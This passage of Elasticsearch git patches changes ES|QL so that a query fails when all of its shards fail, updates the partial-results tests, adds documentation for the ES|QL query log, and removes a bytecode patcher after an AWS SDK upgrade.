 .../xpack/esql/plugin/ComputeService.java     | 47 ++++++++++++-
 3 files changed, 120 insertions(+), 48 deletions(-)

diff --git a/test/external-modules/error-query/src/javaRestTest/java/org/elasticsearch/test/esql/EsqlPartialResultsIT.java b/test/external-modules/error-query/src/javaRestTest/java/org/elasticsearch/test/esql/EsqlPartialResultsIT.java
index 1a4299b0ce938..5f85dc8f3bec1 100644
--- a/test/external-modules/error-query/src/javaRestTest/java/org/elasticsearch/test/esql/EsqlPartialResultsIT.java
+++ b/test/external-modules/error-query/src/javaRestTest/java/org/elasticsearch/test/esql/EsqlPartialResultsIT.java
@@ -28,8 +28,8 @@
 
 import static org.hamcrest.Matchers.containsString;
 import static org.hamcrest.Matchers.equalTo;
+import static org.hamcrest.Matchers.greaterThan;
 import static org.hamcrest.Matchers.hasSize;
-import static org.hamcrest.Matchers.lessThanOrEqualTo;
 
 public class EsqlPartialResultsIT extends ESRestTestCase {
     @ClassRule
@@ -106,7 +106,11 @@ public void testPartialResult() throws Exception {
         Set<String> okIds = populateIndices();
         String query = """
             {
-              "query": "FROM ok-index,failing-index | LIMIT 100 | KEEP fail_me,v"
+              "query": "FROM ok-index,failing-index | LIMIT 100 | KEEP fail_me,v",
+              "pragma": {
+                "max_concurrent_shards_per_node": 1
+              },
+              "accept_pragma_risks": true
             }
             """;
         // allow_partial_results = true
@@ -123,7 +127,7 @@ public void testPartialResult() throws Exception {
             List<?> columns = (List<?>) results.get("columns");
             assertThat(columns, equalTo(List.of(Map.of("name", "fail_me", "type", "long"), Map.of("name", "v", "type", "long"))));
             List<?> values = (List<?>) results.get("values");
-            assertThat(values.size(), lessThanOrEqualTo(okIds.size()));
+            assertThat(values.size(), equalTo(okIds.size()));
             Map<String, Object> localInfo = (Map<String, Object>) XContentMapValues.extractValue(
                 results,
                 "_clusters",
@@ -131,11 +135,10 @@ public void testPartialResult() throws Exception {
                 "(local)"
             );
             assertNotNull(localInfo);
-            assertThat(XContentMapValues.extractValue(localInfo, "_shards", "successful"), equalTo(0));
-            assertThat(
-                XContentMapValues.extractValue(localInfo, "_shards", "failed"),
-                equalTo(XContentMapValues.extractValue(localInfo, "_shards", "total"))
-            );
+            Integer successfulShards = (Integer) XContentMapValues.extractValue(localInfo, "_shards", "successful");
+            Integer failedShards = (Integer) XContentMapValues.extractValue(localInfo, "_shards", "failed");
+            assertThat(successfulShards, greaterThan(0));
+            assertThat(failedShards, greaterThan(0));
             List<Map<String, Object>> failures = (List<Map<String, Object>>) XContentMapValues.extractValue(localInfo, "failures");
             assertThat(failures, hasSize(1));
             assertThat(
@@ -167,7 +170,11 @@ public void testFailureFromRemote() throws Exception {
             Set<String> okIds = populateIndices();
             String query = """
                 {
-                  "query": "FROM *:ok-index,*:failing-index | LIMIT 100 | KEEP fail_me,v"
+                  "query": "FROM *:ok-index,*:failing-index | LIMIT 100 | KEEP fail_me,v",
+                  "pragma": {
+                    "max_concurrent_shards_per_node": 1
+                  },
+                  "accept_pragma_risks": true
                 }
                 """;
             // allow_partial_results = true
@@ -183,7 +190,7 @@ public void testFailureFromRemote() throws Exception {
             List<?> columns = (List<?>) results.get("columns");
             assertThat(columns, equalTo(List.of(Map.of("name", "fail_me", "type", "long"), Map.of("name", "v", "type", "long"))));
             List<?> values = (List<?>) results.get("values");
-            assertThat(values.size(), lessThanOrEqualTo(okIds.size()));
+            assertThat(values.size(), equalTo(okIds.size()));
             Map<String, Object> remoteCluster = (Map<String, Object>) XContentMapValues.extractValue(
                 results,
                 "_clusters",
@@ -191,11 +198,10 @@ public void testFailureFromRemote() throws Exception {
                 "cluster_one"
             );
             assertNotNull(remoteCluster);
-            assertThat(XContentMapValues.extractValue(remoteCluster, "_shards", "successful"), equalTo(0));
-            assertThat(
-                XContentMapValues.extractValue(remoteCluster, "_shards", "failed"),
-                equalTo(XContentMapValues.extractValue(remoteCluster, "_shards", "total"))
-            );
+            Integer successfulShards = (Integer) XContentMapValues.extractValue(remoteCluster, "_shards", "successful");
+            Integer failedShards = (Integer) XContentMapValues.extractValue(remoteCluster, "_shards", "failed");
+            assertThat(successfulShards, greaterThan(0));
+            assertThat(failedShards, greaterThan(0));
             List<Map<String, Object>> failures = (List<Map<String, Object>>) XContentMapValues.extractValue(remoteCluster, "failures");
             assertThat(failures, hasSize(1));
             assertThat(
@@ -207,6 +213,25 @@ public void testFailureFromRemote() throws Exception {
         }
     }
 
+    public void testAllShardsFailed() throws Exception {
+        setupRemoteClusters();
+        populateIndices();
+        try {
+            for (boolean allowPartialResults : List.of(Boolean.TRUE, Boolean.FALSE)) {
+                for (String index : List.of("failing*", "*:failing*", "*:failing*,failing*")) {
+                    Request request = new Request("POST", "/_query");
+                    request.setJsonEntity("{\"query\": \"FROM " + index + " | LIMIT 100\"}");
+                    request.addParameter("allow_partial_results", Boolean.toString(allowPartialResults));
+                    var error = expectThrows(ResponseException.class, () -> client().performRequest(request));
+                    Response resp = error.getResponse();
+                    assertThat(EntityUtils.toString(resp.getEntity()), containsString("Accessing failing field"));
+                }
+            }
+        } finally {
+            removeRemoteCluster();
+        }
+    }
+
     private void setupRemoteClusters() throws IOException {
         String settings = String.format(Locale.ROOT, """
             {
diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/EsqlNodeFailureIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/EsqlNodeFailureIT.java
index 30b05f741ec82..7da333e12f7e6 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/EsqlNodeFailureIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/EsqlNodeFailureIT.java
@@ -19,6 +19,7 @@
 import org.elasticsearch.xcontent.json.JsonXContent;
 import org.elasticsearch.xpack.esql.EsqlTestUtils;
 import org.elasticsearch.xpack.esql.plugin.EsqlPlugin;
+import org.elasticsearch.xpack.esql.plugin.QueryPragmas;
 
 import java.util.ArrayList;
 import java.util.Collection;
@@ -30,6 +31,7 @@
 import static org.hamcrest.Matchers.containsString;
 import static org.hamcrest.Matchers.empty;
 import static org.hamcrest.Matchers.equalTo;
+import static org.hamcrest.Matchers.greaterThan;
 import static org.hamcrest.Matchers.in;
 import static org.hamcrest.Matchers.lessThanOrEqualTo;
 import static org.hamcrest.Matchers.not;
@@ -98,38 +100,30 @@ public void testFailureLoadingFields() throws Exception {
 
     public void testPartialResults() throws Exception {
         Set<String> okIds = populateIndices();
-        {
-            EsqlQueryRequest request = new EsqlQueryRequest();
-            request.query("FROM fail,ok | LIMIT 100");
-            request.allowPartialResults(true);
-            request.pragmas(randomPragmas());
-            try (EsqlQueryResponse resp = run(request)) {
-                assertTrue(resp.isPartial());
-                List<List<Object>> rows = EsqlTestUtils.getValuesList(resp);
-                assertThat(rows.size(), lessThanOrEqualTo(okIds.size()));
-            }
-        }
-        {
-            EsqlQueryRequest request = new EsqlQueryRequest();
-            request.query("FROM fail,ok METADATA _id | KEEP _id, fail_me | LIMIT 100");
-            request.allowPartialResults(true);
-            request.pragmas(randomPragmas());
-            try (EsqlQueryResponse resp = run(request)) {
-                assertTrue(resp.isPartial());
-                List<List<Object>> rows = EsqlTestUtils.getValuesList(resp);
-                assertThat(rows.size(), lessThanOrEqualTo(okIds.size()));
-                Set<String> actualIds = new HashSet<>();
-                for (List<Object> row : rows) {
-                    assertThat(row.size(), equalTo(2));
-                    String id = (String) row.getFirst();
-                    assertThat(id, in(okIds));
-                    assertTrue(actualIds.add(id));
-                }
-                EsqlExecutionInfo.Cluster localInfo = resp.getExecutionInfo().getCluster(RemoteClusterService.LOCAL_CLUSTER_GROUP_KEY);
-                assertThat(localInfo.getFailures(), not(empty()));
-                assertThat(localInfo.getStatus(), equalTo(EsqlExecutionInfo.Cluster.Status.PARTIAL));
-                assertThat(localInfo.getFailures().get(0).reason(), containsString("Accessing failing field"));
+        EsqlQueryRequest request = new EsqlQueryRequest();
+        request.query("FROM fail,ok METADATA _id | KEEP _id, fail_me | LIMIT 100");
+        request.allowPartialResults(true);
+        // have to run one shard at a time to avoid failing all shards
+        QueryPragmas pragma = new QueryPragmas(
+            Settings.builder().put(randomPragmas().getSettings()).put(QueryPragmas.MAX_CONCURRENT_SHARDS_PER_NODE.getKey(), 1).build()
+        );
+        request.pragmas(pragma);
+        request.acceptedPragmaRisks(true);
+        try (EsqlQueryResponse resp = run(request)) {
+            assertTrue(resp.isPartial());
+            List<List<Object>> rows = EsqlTestUtils.getValuesList(resp);
+            assertThat(rows.size(), equalTo(okIds.size()));
+            Set<String> actualIds = new HashSet<>();
+            for (List<Object> row : rows) {
+                assertThat(row.size(), equalTo(2));
+                String id = (String) row.getFirst();
+                assertThat(id, in(okIds));
+                assertTrue(actualIds.add(id));
             }
+            EsqlExecutionInfo.Cluster localInfo = resp.getExecutionInfo().getCluster(RemoteClusterService.LOCAL_CLUSTER_GROUP_KEY);
+            assertThat(localInfo.getFailures(), not(empty()));
+            assertThat(localInfo.getStatus(), equalTo(EsqlExecutionInfo.Cluster.Status.PARTIAL));
+            assertThat(localInfo.getFailures().get(0).reason(), containsString("Accessing failing field"));
         }
     }
 
@@ -147,6 +141,15 @@ public void testDefaultPartialResults() throws Exception {
                 EsqlQueryRequest request = new EsqlQueryRequest();
                 request.query("FROM fail,ok | LIMIT 100");
                 request.pragmas(randomPragmas());
+                // have to run one shard at a time to avoid failing all shards
+                QueryPragmas pragma = new QueryPragmas(
+                    Settings.builder()
+                        .put(randomPragmas().getSettings())
+                        .put(QueryPragmas.MAX_CONCURRENT_SHARDS_PER_NODE.getKey(), 1)
+                        .build()
+                );
+                request.pragmas(pragma);
+                request.acceptedPragmaRisks(true);
                 if (randomBoolean()) {
                     request.allowPartialResults(true);
                 }
@@ -154,6 +157,7 @@ public void testDefaultPartialResults() throws Exception {
                     assertTrue(resp.isPartial());
                     List<List<Object>> rows = EsqlTestUtils.getValuesList(resp);
                     assertThat(rows.size(), lessThanOrEqualTo(okIds.size()));
+                    assertThat(rows.size(), greaterThan(0));
                 }
             }
             // allow_partial_results = false
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
index 4c13eb384924e..973455f435fab 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
@@ -7,6 +7,7 @@
 
 package org.elasticsearch.xpack.esql.plugin;
 
+import org.elasticsearch.ExceptionsHelper;
 import org.elasticsearch.action.ActionListener;
 import org.elasticsearch.action.OriginalIndices;
 import org.elasticsearch.action.search.SearchRequest;
@@ -375,9 +376,10 @@ public void executePlan(
             var computeListener = new ComputeListener(
                 transportService.getThreadPool(),
                 cancelQueryOnFailure,
-                listener.map(completionInfo -> {
+                listener.delegateFailureAndWrap((l, completionInfo) -> {
+                    failIfAllShardsFailed(execInfo, collectedPages);
                     execInfo.markEndQuery();  // TODO: revisit this time recording model as part of INLINESTATS improvements
-                    return new Result(outputAttributes, collectedPages, completionInfo, execInfo);
+                    l.onResponse(new Result(outputAttributes, collectedPages, completionInfo, execInfo));
                 })
             )
         ) {
@@ -540,6 +542,47 @@ private static void updateExecutionInfoAfterCoordinatorOnlyQuery(EsqlExecutionIn
         }
     }
 
+    /**
+     * If all of target shards excluding the skipped shards failed from the local or remote clusters, then we should fail the entire query
+     * regardless of the partial_results configuration or skip_unavailable setting. This behavior doesn't fully align with the search API,
+     * which doesn't consider the failures from the remote clusters when skip_unavailable is true.
+     */
+    static void failIfAllShardsFailed(EsqlExecutionInfo execInfo, List<Page> finalResults) {
+        // do not fail if any final result has results
+        if (finalResults.stream().anyMatch(p -> p.getPositionCount() > 0)) {
+            return;
+        }
+        int totalFailedShards = 0;
+        for (EsqlExecutionInfo.Cluster cluster : execInfo.clusterInfo.values()) {
+            final Integer successfulShards = cluster.getSuccessfulShards();
+            if (successfulShards != null && successfulShards > 0) {
+                return;
+            }
+            if (cluster.getFailedShards() != null) {
+                totalFailedShards += cluster.getFailedShards();
+            }
+        }
+        if (totalFailedShards == 0) {
+            return;
+        }
+        final var failureCollector = new FailureCollector();
+        for (EsqlExecutionInfo.Cluster cluster : execInfo.clusterInfo.values()) {
+            var failedShards = cluster.getFailedShards();
+            if (failedShards != null && failedShards > 0) {
+                assert cluster.getFailures().isEmpty() == false : "expected failures for cluster [" + cluster.getClusterAlias() + "]";
+                for (ShardSearchFailure failure : cluster.getFailures()) {
+                    if (failure.getCause() instanceof Exception e) {
+                        failureCollector.unwrapAndCollect(e);
+                    } else {
+                        assert false : "unexpected failure: " + new AssertionError(failure.getCause());
+                        failureCollector.unwrapAndCollect(failure);
+                    }
+                }
+            }
+        }
+        ExceptionsHelper.reThrowIfNotNull(failureCollector.getFailure());
+    }
+
     void runCompute(CancellableTask task, ComputeContext context, PhysicalPlan plan, ActionListener<DriverCompletionInfo> listener) {
         listener = ActionListener.runBefore(listener, () -> Releasables.close(context.searchContexts()));
         List<EsPhysicalOperationProviders.ShardContext> contexts = new ArrayList<>(context.searchContexts().size());

From 79527968b424324f658afd82d7eda77f4d67f700 Mon Sep 17 00:00:00 2001
From: Stanislav Malyshev <smalyshev@users.noreply.github.com>
Date: Tue, 15 Jul 2025 20:28:57 -0600
Subject: [PATCH 164/299] Disable in release build due to pragma (#131340)
 (#131343)

---
 .../xpack/esql/action/CrossClusterAsyncQueryStopIT.java          | 1 +
 1 file changed, 1 insertion(+)

diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterAsyncQueryStopIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterAsyncQueryStopIT.java
index b49f45273f337..b91b365cf996b 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterAsyncQueryStopIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterAsyncQueryStopIT.java
@@ -129,6 +129,7 @@ public void testStopQuery() throws Exception {
     }
 
     public void testStopQueryLocal() throws Exception {
+        assumeTrue("Pragma does not work in release builds", Build.current().isSnapshot());
         Map<String, Object> testClusterInfo = setupClusters(3);
         int remote1NumShards = (Integer) testClusterInfo.get("remote1.num_shards");
         int remote2NumShards = (Integer) testClusterInfo.get("remote2.num_shards");

From 096be3ac67a3469f62b1433947d62d70d3df4311 Mon Sep 17 00:00:00 2001
From: Moritz Mack <mmack@apache.org>
Date: Wed, 16 Jul 2025 09:27:34 +0200
Subject: [PATCH 165/299] Allow both WithEntitlementsOnTestCode and
 EntitledTestPackages together (#130826) (#131194)

Allow both WithEntitlementsOnTestCode and EntitledTestPackages together
---
 .../src/main/java/org/elasticsearch/test/ESTestCase.java         | 1 -
 1 file changed, 1 deletion(-)

diff --git a/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java b/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java
index ff0560a7737ac..0cd2f67a56583 100644
--- a/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java
+++ b/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java
@@ -534,7 +534,6 @@ public static void setupEntitlementsForClass() {
             TestEntitlementBootstrap.setActive(false == withoutEntitlements);
             TestEntitlementBootstrap.setTriviallyAllowingTestCode(false == withEntitlementsOnTestCode);
             if (entitledPackages != null) {
-                assert withEntitlementsOnTestCode == false : "Cannot use @WithEntitlementsOnTestCode together with @EntitledTestPackages";
                 assert entitledPackages.value().length > 0 : "No test packages specified in @EntitledTestPackages";
                 TestEntitlementBootstrap.setEntitledTestPackages(entitledPackages.value());
             }

From cb035725a47a0f56a729846aa97cfea514c3245f Mon Sep 17 00:00:00 2001
From: Luigi Dell'Aquila <luigi.dellaquila@gmail.com>
Date: Wed, 16 Jul 2025 10:26:24 +0200
Subject: [PATCH 166/299] Add docs for ES|QL query logs (#131287) (#131351)

---
 docs/reference/query-languages/esql.md        |   3 +-
 .../query-languages/esql/esql-query-log.md    | 130 ++++++++++++++++++
 .../esql/esql-troubleshooting.md              |   9 ++
 docs/reference/query-languages/toc.yml        |   3 +
 4 files changed, 144 insertions(+), 1 deletion(-)
 create mode 100644 docs/reference/query-languages/esql/esql-query-log.md
 create mode 100644 docs/reference/query-languages/esql/esql-troubleshooting.md

diff --git a/docs/reference/query-languages/esql.md b/docs/reference/query-languages/esql.md
index 034794af7d8e9..d66dceb1d36ff 100644
--- a/docs/reference/query-languages/esql.md
+++ b/docs/reference/query-languages/esql.md
@@ -20,4 +20,5 @@ This reference section provides detailed technical information about {{esql}} fe
 * [Advanced workflows](esql/esql-advanced.md): Learn how to handle more complex tasks with these guides, including how to extract, transform, and combine data from multiple indices
 * [Types and fields](esql/esql-types-and-fields.md): Learn about how {{esql}} handles different data types and special fields
 * [Limitations](esql/limitations.md): Learn about the current limitations of {{esql}}
-* [Examples](esql/esql-examples.md): Explore some example queries
\ No newline at end of file
+* [Examples](esql/esql-examples.md): Explore some example queries
+* [Troubleshooting](esql/esql-troubleshooting.md): Learn how to diagnose and resolve issues with {{esql}}
diff --git a/docs/reference/query-languages/esql/esql-query-log.md b/docs/reference/query-languages/esql/esql-query-log.md
new file mode 100644
index 0000000000000..05c7f41134a9c
--- /dev/null
+++ b/docs/reference/query-languages/esql/esql-query-log.md
@@ -0,0 +1,130 @@
+---
+navigation_title: "Query log"
+---
+
+# {{esql}} Query log [esql-query-log]
+
+
+The {{esql}} query log allows to log {{esql}} queries based on their execution time.
+
+You can use these logs to investigate, analyze or troubleshoot your cluster’s historical {{esql}} performance.
+
+{{esql}} query log reports task duration at coordinator level, but might not encompass the full task execution time observed on the client. For example, logs don’t surface HTTP network delays.
+
+Events that meet the specified threshold are emitted into  [{{es}} server logs](docs-content://deploy-manage/monitor/logging-configuration/update-elasticsearch-logging-levels.md).
+
+These logs can be found in local {{es}} service logs directory. Slow log files have a suffix of `_esql_querylog.json`.
+
+## Query log format [query-log-format]
+
+The following is an example of a successful query event in the query log:
+
+```js
+{
+    "@timestamp": "2025-03-11T08:39:50.076Z",
+    "log.level": "TRACE",
+    "auth.type": "REALM",
+    "elasticsearch.querylog.planning.took": 3108666,
+    "elasticsearch.querylog.planning.took_millis": 3,
+    "elasticsearch.querylog.query": "from index | limit 100",
+    "elasticsearch.querylog.search_type": "ESQL",
+    "elasticsearch.querylog.success": true,
+    "elasticsearch.querylog.took": 8050416,
+    "elasticsearch.querylog.took_millis": 8,
+    "user.name": "elastic-admin",
+    "user.realm": "default_file",
+    "ecs.version": "1.2.0",
+    "service.name": "ES_ECS",
+    "event.dataset": "elasticsearch.esql_querylog",
+    "process.thread.name": "elasticsearch[runTask-0][esql_worker][T#12]",
+    "log.logger": "esql.querylog.query",
+    "elasticsearch.cluster.uuid": "KZo1V7TcQM-O6fnqMm1t_g",
+    "elasticsearch.node.id": "uPgRE2TrSfa9IvnUpNT1Uw",
+    "elasticsearch.node.name": "runTask-0",
+    "elasticsearch.cluster.name": "runTask"
+}
+```
+
+The following is an example of a failing query event in the query log:
+
+```js
+{
+    "@timestamp": "2025-03-11T08:41:54.172Z",
+    "log.level": "TRACE",
+    "auth.type": "REALM",
+    "elasticsearch.querylog.error.message": "line 1:15: mismatched input 'limitxyz' expecting {DEV_CHANGE_POINT, 'enrich', 'dissect', 'eval', 'grok', 'limit', 'sort', 'stats', 'where', DEV_INLINESTATS, DEV_FORK, 'lookup', DEV_JOIN_LEFT, DEV_JOIN_RIGHT, DEV_LOOKUP, 'mv_expand', 'drop', 'keep', DEV_INSIST, 'rename'}",
+    "elasticsearch.querylog.error.type": "org.elasticsearch.xpack.esql.parser.ParsingException",
+    "elasticsearch.querylog.query": "from person | limitxyz 100",
+    "elasticsearch.querylog.search_type": "ESQL",
+    "elasticsearch.querylog.success": false,
+    "elasticsearch.querylog.took": 963750,
+    "elasticsearch.querylog.took_millis": 0,
+    "user.name": "elastic-admin",
+    "user.realm": "default_file",
+    "ecs.version": "1.2.0",
+    "service.name": "ES_ECS",
+    "event.dataset": "elasticsearch.esql_querylog",
+    "process.thread.name": "elasticsearch[runTask-0][search][T#16]",
+    "log.logger": "esql.querylog.query",
+    "elasticsearch.cluster.uuid": "KZo1V7TcQM-O6fnqMm1t_g",
+    "elasticsearch.node.id": "uPgRE2TrSfa9IvnUpNT1Uw",
+    "elasticsearch.node.name": "runTask-0",
+    "elasticsearch.cluster.name": "runTask"
+}
+```
+
+
+## Enable query logging [enable-query-log]
+
+You can enable query logging at cluster level.
+
+By default, all thresholds are set to `-1`, which results in no events being logged.
+
+Query log thresholds can be enabled for the four logging levels: `trace`, `debug`, `info`, and `warn`.
+
+To view the current query log settings, use the [get cluster settings API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cluster-get-settings):
+
+```console
+GET _cluster/settings?filter_path=*.esql.querylog.*
+```
+
+You can use the `esql.querylog.include.user` setting to append `user.*` and `auth.type` fields to slow log entries. These fields contain information about the user who triggered the request.
+
+The following snippet adjusts all available {{esql}} query log settings [update cluster settings API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cluster-put-settings):
+
+```console
+PUT /_cluster/settings
+{
+  "transient": {
+    "esql.querylog.threshold.warn": "10s",
+    "esql.querylog.threshold.info": "5s",
+    "esql.querylog.threshold.debug": "2s",
+    "esql.querylog.threshold.trace": "500ms",
+    "esql.querylog.include.user": true
+  }
+}
+```
+
+
+
+## Best practices for query logging [troubleshoot-query-log]
+
+Logging slow requests can be resource intensive to your {{es}} cluster depending on the qualifying traffic’s volume. For example, emitted logs might increase the index disk usage of your [{{es}} monitoring](docs-content://deploy-manage/monitor/stack-monitoring.md) cluster. To reduce the impact of slow logs, consider the following:
+
+* Set high thresholds to reduce the number of logged events.
+* Enable slow logs only when troubleshooting.
+
+If you aren’t sure how to start investigating traffic issues, consider enabling the `warn` threshold with a high `30s` threshold at the index level using the [update cluster settings API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-cluster-put-settings):
+
+Here is an example of how to change cluster settings to enable query logging at `warn` level, for queries taking more than 30 seconds, and include user information in the logs:
+
+```console
+PUT /_cluster/settings
+{
+  "transient": {
+    "esql.querylog.include.user": true,
+    "esql.querylog.threshold.warn": "30s"
+  }
+}
+```
+
diff --git a/docs/reference/query-languages/esql/esql-troubleshooting.md b/docs/reference/query-languages/esql/esql-troubleshooting.md
new file mode 100644
index 0000000000000..43768a2facc99
--- /dev/null
+++ b/docs/reference/query-languages/esql/esql-troubleshooting.md
@@ -0,0 +1,9 @@
+---
+navigation_title: "Troubleshooting"
+---
+
+# Troubleshooting {{esql}} [esql-troubleshooting]
+
+This section provides some useful resource for troubleshooting {{esql}}
+
+* [Query log](esql-query-log.md): Learn how to log {{esql}} queries
diff --git a/docs/reference/query-languages/toc.yml b/docs/reference/query-languages/toc.yml
index 31bead277f05f..6ecc4d08d81b9 100644
--- a/docs/reference/query-languages/toc.yml
+++ b/docs/reference/query-languages/toc.yml
@@ -119,6 +119,9 @@ toc:
 
       - file: esql/limitations.md
       - file: esql/esql-examples.md
+      - file: esql/esql-troubleshooting.md
+        children:
+          - file: esql/esql-query-log.md
   - file: sql.md
     children:
       - file: sql/sql-spec.md

From b716ff3e9a3a4f781d75e4a04800303d6b18649d Mon Sep 17 00:00:00 2001
From: David Turner <david.turner@elastic.co>
Date: Wed, 16 Jul 2025 12:10:24 +0100
Subject: [PATCH 167/299] Upgrade AWS Java SDK to 2.31.78 (#131050) (#131354)

This picks up the fix for the locale bug reported at
https://github.com/aws/aws-sdk-java-v2/issues/5968.

This reverts the patching of the library added in commit
2697a3a87215c92efb3c9bd6c42b99ae8a63f2a7, except for the test
enhancement.

Fix confirmed in e.g. locale `ar-ER` with

    ./gradlew ":plugins:discovery-ec2:test" \
        --tests "org.elasticsearch.discovery.ec2.Ec2DiscoveryTests.testFilterByTags" \
        -Dtests.seed=596874EED28A2B92 -Dtests.locale=ar-ER -Dtests.timezone=NET \
        -Druntime.java=24
---
 .../patches/awsv2sdk/Awsv2ClassPatcher.java   |  61 ------
 .../StringFormatInPathResolverPatcher.java    |  89 --------
 build-tools-internal/version.properties       |   2 +-
 docs/changelog/131050.yaml                    |   6 +
 gradle/verification-metadata.xml              | 204 +++++++++---------
 plugins/discovery-ec2/build.gradle            |  36 ----
 6 files changed, 109 insertions(+), 289 deletions(-)
 delete mode 100644 build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/dependencies/patches/awsv2sdk/Awsv2ClassPatcher.java
 delete mode 100644 build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/dependencies/patches/awsv2sdk/StringFormatInPathResolverPatcher.java
 create mode 100644 docs/changelog/131050.yaml

diff --git a/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/dependencies/patches/awsv2sdk/Awsv2ClassPatcher.java b/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/dependencies/patches/awsv2sdk/Awsv2ClassPatcher.java
deleted file mode 100644
index 1e515afd8404b..0000000000000
--- a/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/dependencies/patches/awsv2sdk/Awsv2ClassPatcher.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
- * or more contributor license agreements. Licensed under the "Elastic License
- * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
- * Public License v 1"; you may not use this file except in compliance with, at
- * your election, the "Elastic License 2.0", the "GNU Affero General Public
- * License v3.0 only", or the "Server Side Public License, v 1".
- */
-
-package org.elasticsearch.gradle.internal.dependencies.patches.awsv2sdk;
-
-import org.elasticsearch.gradle.internal.dependencies.patches.PatcherInfo;
-import org.elasticsearch.gradle.internal.dependencies.patches.Utils;
-import org.gradle.api.artifacts.transform.CacheableTransform;
-import org.gradle.api.artifacts.transform.InputArtifact;
-import org.gradle.api.artifacts.transform.TransformAction;
-import org.gradle.api.artifacts.transform.TransformOutputs;
-import org.gradle.api.artifacts.transform.TransformParameters;
-import org.gradle.api.file.FileSystemLocation;
-import org.gradle.api.provider.Provider;
-import org.gradle.api.tasks.Classpath;
-import org.jetbrains.annotations.NotNull;
-
-import java.io.File;
-import java.util.List;
-
-import static org.elasticsearch.gradle.internal.dependencies.patches.PatcherInfo.classPatcher;
-
-@CacheableTransform
-public abstract class Awsv2ClassPatcher implements TransformAction<TransformParameters.None> {
-
-    private static final String JAR_FILE_TO_PATCH = "aws-query-protocol";
-
-    private static final List<PatcherInfo> CLASS_PATCHERS = List.of(
-        // This patcher is needed because of this AWS bug: https://github.com/aws/aws-sdk-java-v2/issues/5968
-        // As soon as the bug is resolved and we upgrade our AWS SDK v2 libraries, we can remove this.
-        classPatcher(
-            "software/amazon/awssdk/protocols/query/internal/marshall/ListQueryMarshaller.class",
-            "213e84d9a745bdae4b844334d17aecdd6499b36df32aa73f82dc114b35043009",
-            StringFormatInPathResolverPatcher::new
-        )
-    );
-
-    @Classpath
-    @InputArtifact
-    public abstract Provider<FileSystemLocation> getInputArtifact();
-
-    @Override
-    public void transform(@NotNull TransformOutputs outputs) {
-        File inputFile = getInputArtifact().get().getAsFile();
-
-        if (inputFile.getName().startsWith(JAR_FILE_TO_PATCH)) {
-            System.out.println("Patching " + inputFile.getName());
-            File outputFile = outputs.file(inputFile.getName().replace(".jar", "-patched.jar"));
-            Utils.patchJar(inputFile, outputFile, CLASS_PATCHERS);
-        } else {
-            System.out.println("Skipping " + inputFile.getName());
-            outputs.file(getInputArtifact());
-        }
-    }
-}
diff --git a/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/dependencies/patches/awsv2sdk/StringFormatInPathResolverPatcher.java b/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/dependencies/patches/awsv2sdk/StringFormatInPathResolverPatcher.java
deleted file mode 100644
index 506dab001dbe7..0000000000000
--- a/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/dependencies/patches/awsv2sdk/StringFormatInPathResolverPatcher.java
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
- * or more contributor license agreements. Licensed under the "Elastic License
- * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
- * Public License v 1"; you may not use this file except in compliance with, at
- * your election, the "Elastic License 2.0", the "GNU Affero General Public
- * License v3.0 only", or the "Server Side Public License, v 1".
- */
-
-package org.elasticsearch.gradle.internal.dependencies.patches.awsv2sdk;
-
-import org.objectweb.asm.ClassVisitor;
-import org.objectweb.asm.ClassWriter;
-import org.objectweb.asm.MethodVisitor;
-import org.objectweb.asm.Type;
-
-import java.util.Locale;
-
-import static org.objectweb.asm.Opcodes.ASM9;
-import static org.objectweb.asm.Opcodes.GETSTATIC;
-import static org.objectweb.asm.Opcodes.INVOKESTATIC;
-
-class StringFormatInPathResolverPatcher extends ClassVisitor {
-
-    StringFormatInPathResolverPatcher(ClassWriter classWriter) {
-        super(ASM9, classWriter);
-    }
-
-    @Override
-    public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
-        return new ReplaceCallMethodVisitor(super.visitMethod(access, name, descriptor, signature, exceptions));
-    }
-
-    /**
-     * Replaces calls to String.format(format, args); with calls to String.format(Locale.ROOT, format, args);
-     */
-    private static class ReplaceCallMethodVisitor extends MethodVisitor {
-        private static final String CLASS_INTERNAL_NAME = Type.getInternalName(String.class);
-        private static final String METHOD_NAME = "format";
